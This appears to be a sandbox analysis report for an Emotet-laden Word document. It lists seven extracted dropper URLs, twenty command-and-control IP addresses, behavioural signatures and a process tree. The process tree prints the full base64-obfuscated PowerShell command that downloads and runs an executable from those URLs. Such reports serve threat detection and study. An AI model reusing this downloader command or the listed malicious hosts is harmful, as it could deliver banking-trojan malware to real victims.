Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    62s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    29/08/2020, 00:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e3_55e432b28c27aa0f65c75c46dda9a367a1d97420c5dad4b07cabbdced34058d5_2020-08-29__000207._doc.doc
  • Size 231KB
  • Sample200829-kyb4vw8cdx
  • SHA256 55e432b28c27aa0f65c75c46dda9a367a1d97420c5dad4b07cabbdced34058d5
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://itisfuture.com/wp-content/kPhVNbsq012228/
  • exe.dropper

    https://alameenmission.net/feesdues/mc/S73s9zr303/
  • exe.dropper

    http://f1.dodve.com/wp-admin/file/WEuiJhu/
  • exe.dropper

    http://studioworks.com.br/cdn/file/WCTwQUmZNkHul/
  • exe.dropper

    http://cooldoggraphics.com/wp-content/GniJ/
  • exe.dropper

    http://cofama.com.br/pedido/file/NLwd/
  • exe.dropper

    http://www.baxterco.com/home/Wb2j1ybk211/

Extracted

Family

  • emotet

C2

  • 190.136.179.102:80

  • 97.107.135.148:8080

  • 94.102.209.63:7080

  • 162.144.42.60:8080

  • 81.214.253.80:443

  • 87.106.231.60:8080

  • 107.161.30.122:8080

  • 66.61.94.36:80

  • 139.59.12.63:8080

  • 203.153.216.178:7080

  • 178.33.167.120:8080

  • 179.62.238.49:80

  • 50.116.78.109:8080

  • 74.208.173.91:8080

  • 113.161.148.81:80

  • 179.5.118.12:80

  • 202.5.47.71:80

  • 91.83.93.103:443

  • 181.113.229.139:443

  • 41.185.29.128:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_55e432b28c27aa0f65c75c46dda9a367a1d97420c5dad4b07cabbdced34058d5_2020-08-29__000207._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1456
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABJAF8AaABsAHQAMwBkAD0AKAAoACcAVgAzACcAKwAnAGMAJwArACcAawBwADYAJwApACsAJwBtACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUAbgB2ADoAVABFAE0AcABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAGUAYwBUAG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwB1AFIAYABJAGAAVABgAHkAcABgAFIATwBUAE8AYwBvAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIAJwArACcALAAgACcAKQArACcAdAAnACsAKAAnAGwAcwAnACsAJwAxACcAKQArACgAJwAxACwAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQARQBkAHcAaQBlAF8AZQAgAD0AIAAoACgAJwBTAGIANgAnACsAJwBmAGMAJwApACsAJwA1ACcAKwAnAG4AJwApADsAJABFAHoANABqADUAegB0AD0AKAAnAFcAYgAnACsAJwAwADMAJwArACgAJwB0AHEAJwArACcANwAnACkAKQA7ACQASQB6AGkAYgB6ADYAcQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwA1AGIAcQB3AG8AcgAnACsAJwBkACcAKwAnADUAJwArACcAYgBxADIAMAAnACkAKwAoACcAMQA5ACcAKwAnADUAJwApACsAJwBiACcAKwAnAHEAJwApAC4AIgBSAGUAcABsAGAAQQBDAGUAIgAoACgAJwA1ACcAKwAnAGIAcQAnACkALAAnAFwAJwApACkAKwAkAEUAZAB3AGkAZQBfAGUAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABQAGwAaAA4ADMAZwBhAD0AKAAoACcAVAAnACsAJwBtAHMAJwApACsAJwBkACcAKwAoACcAZgAnACsAJwAwAHUAJwApACkAOwAkAFoAcwBxAGcANgBrADYAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAGIAYwBsAEkAZQBuAFQAOwAkAFkAeABlAF8AbQBwADkAPQAoACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACcALwAvACcAKwAnAGkAJwApACsAKAAnAHQAJwArACcAaQBzACcAKQArACgAJwBmACcAKwAnAHUAdAB1AHIAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAnACkAKwAnAC0AJwArACcAYwBvACcAKwAnAG4AJwArACcAdABlACcAKwAnAG4AdAAnACsAJwAvACcAKwAoACcAawAnACsAJwBQAGgAJwApACsAJwBWACcAKwAoACcATgBiAHMAJwArACcAcQAnACkAKwAoACcAMAAnACsAJwAxADIAJwApACsAJwAyADIAJwArACgAJwA4ACcAKwAnAC8AKgBoAHQAdABwAHMAJwArACcAOgAnACkAKwAoACcALwAvACcAKwAnAGEAbABhACcAKQArACgAJwBtAGUAJwArACcAZQBuAG0AJwArACcAaQBzAHMAaQAnACkAKwAnAG8AbgAnACsAJwAuAG4AJwArACcAZQAnACsAJwB0AC8AJwArACgAJwBmAGUAJwArACcAZQBzACcAKQArACgAJwBkACcAKwAnAHUAZQBzAC8AbQAnACsAJwBjAC8AUwAnACkAKwAoACcANwAzACcAKwAnAHMAOQB6ACcAKwAnAHIAMwAnACkAKwAnADAAJwArACgAJwAzAC8AKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAZgAxAC4AJwApACsAKAAnAGQAbwAnACsAJwBkAHYAZQAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHcAJwArACcAcAAnACkAKwAnAC0AYQAnACsAKAAnAGQAbQBpACcAKwAnAG4ALwBmAGkAbABlACcAKQArACcALwAnACsAKAAnAFcARQB1AGkAJwArACcASgAnACkAKwAoACcAaAB1ACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAA6AC8ALwBzACcAKQArACcAdAB1ACcAKwAnAGQAJwArACcAaQBvACcAKwAoACcAdwBvACcAKwAnAHIAJwApACsAJwBrACcAKwAnAHMALgAnACsAJwBjAG8AJwArACgAJwBtACcAKwAnAC4AYgByACcAKQArACgAJwAvAGMAJwArACcAZAAnACkAKwAoACcAbgAvACcAKwAnAGYAJwApACsAJwBpACcAKwAnAGwAZQAnACsAKAAnAC8AVwAnACsAJwBDAFQAJwApACsAKAAnAHcAUQBVACcAKwAnAG0AWgAnACkAKwAnAE4AawAnACsAJwBIACcAKwAnAHUAJwArACgAJwBsAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGMAJwArACcAbwBvACcAKwAoACcAbAAnACsAJwBkAG8AJwApACsAJwBnACcAKwAnAGcAcgAnACsAJwBhACcAKwAoACcAcAAnACsAJwBoAGkAYwAnACkAKwAnAHMAJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALwAnACsAJwB3ACcAKwAoACcAcAAtACcAKwAnAGMAbwAnACsAJwBuAHQAJwApACsAJwBlAG4AJwArACcAdAAnACsAJwAvAEcAJwArACcAbgAnACsAKAAnAGkASgAvACoAJwArACcAaAB0AHQAcAA6ACcAKwAnAC8ALwAnACsAJwBjAG8AJwApACsAKAAnAGYAYQBtAGEALgBjAG8AJwArACcAbQAnACkAKwAnAC4AJwArACcAYgByACcAKwAoACcALwBwAGUAZAAnACsAJwBpAGQAJwApACsAJwBvAC8AJwArACgAJwBmAGkAJwArACcAbABlAC8AJwApACsAKAAnAE4AJwArACcATAB3AGQALwAqACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnADoAJwArACcALwAvAHcAdwB3ACcAKQArACcALgAnACsAJwBiACcAKwAnAGEAJwArACgAJwB4AHQAJwArACcAZQByAGMAJwArACcAbwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAGgAJwArACcAbwAnACkAKwAoACcAbQAnACsAJwBlAC8AVwBiADIAagAxAHkAJwArACcAYgBrADIAJwApACsAKAAnADEAMQAnACsAJwAvACcAKQApAC4AIgBzAHAAbABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFEAZABlADYAMAA2AGQAPQAoACcARwAnACsAKAAnADgAJwArACcAcABvACcAKQArACgAJwA3AHYAJwArACcAMwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAXwB4AGsAMgAxADMAIABpAG4AIAAkAFkAeABlAF8AbQBwADkAKQB7AHQAcgB5AHsAJABaAHMAcQBnADYAawA2AC4AIgBkAGAAbwBXAG4ATABgAG8AYABBAGQAZgBJAGwAZQAiACgAJABEAF8AeABrADIAMQAzACwAIAAkAEkAegBpAGIAegA2AHEAKQA7ACQARQBqAHYAMgB4AHIAbQA9ACgAJwBSAHMAJwArACgAJwBzAHIAaAAnACsAJwBwAGEAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASQB6AGkAYgB6ADYAcQApAC4AIgBMAGAAZQBuAEcAdABIACIAIAAtAGcAZQAgADMAOAAyADIAMQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABJAHoAaQBiAHoANgBxACkAOwAkAE0AZQBwAGwAYQB4ADEAPQAoACgAJwBCAHgAJwArACcANgAnACkAKwAoACcAMwB4ACcAKwAnAHEAJwApACsAJwBmACcAKQA7AGIAcgBlAGEAawA7ACQARgA5ADcAbgA1ADYAZgA9ACgAKAAnAEQAZwAnACsAJwByAG4AJwArACcAdwA5ACcAKQArACcANQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AOABvAHEAbQAwAGUAPQAoACgAJwBXACcAKwAnAHMAdgAnACkAKwAoACcANQByACcAKwAnAGoAJwApACsAJwBiACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1500
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Sb6fc5n.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Sb6fc5n.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1256
      • C:\Windows\SysWOW64\timeout\dwmcore.exe
        "C:\Windows\SysWOW64\timeout\dwmcore.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1344

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/652-22-0x000007FEF59D0000-0x000007FEF5C4A000-memory.dmp
        Download

        memory/1256-17-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1344-21-0x0000000000240000-0x000000000024C000-memory.dmp
        Download

        memory/1456-4-0x0000000006CE0000-0x0000000006EE0000-memory.dmp
        Download

        memory/1456-5-0x000000000AE30000-0x000000000AE34000-memory.dmp
        Download

        memory/1456-2-0x00000000088D0000-0x00000000088D4000-memory.dmp
        Download

        memory/1500-9-0x00000000023E0000-0x00000000023E1000-memory.dmp
        Download

        memory/1500-14-0x000000001C370000-0x000000001C371000-memory.dmp
        Download

        memory/1500-13-0x000000001C040000-0x000000001C041000-memory.dmp
        Download

        memory/1500-12-0x0000000002760000-0x0000000002761000-memory.dmp
        Download

        memory/1500-11-0x0000000002530000-0x0000000002531000-memory.dmp
        Download

        memory/1500-10-0x000000001AB20000-0x000000001AB21000-memory.dmp
        Download

        memory/1500-8-0x000007FEE9110000-0x000007FEE9AFC000-memory.dmp
        Download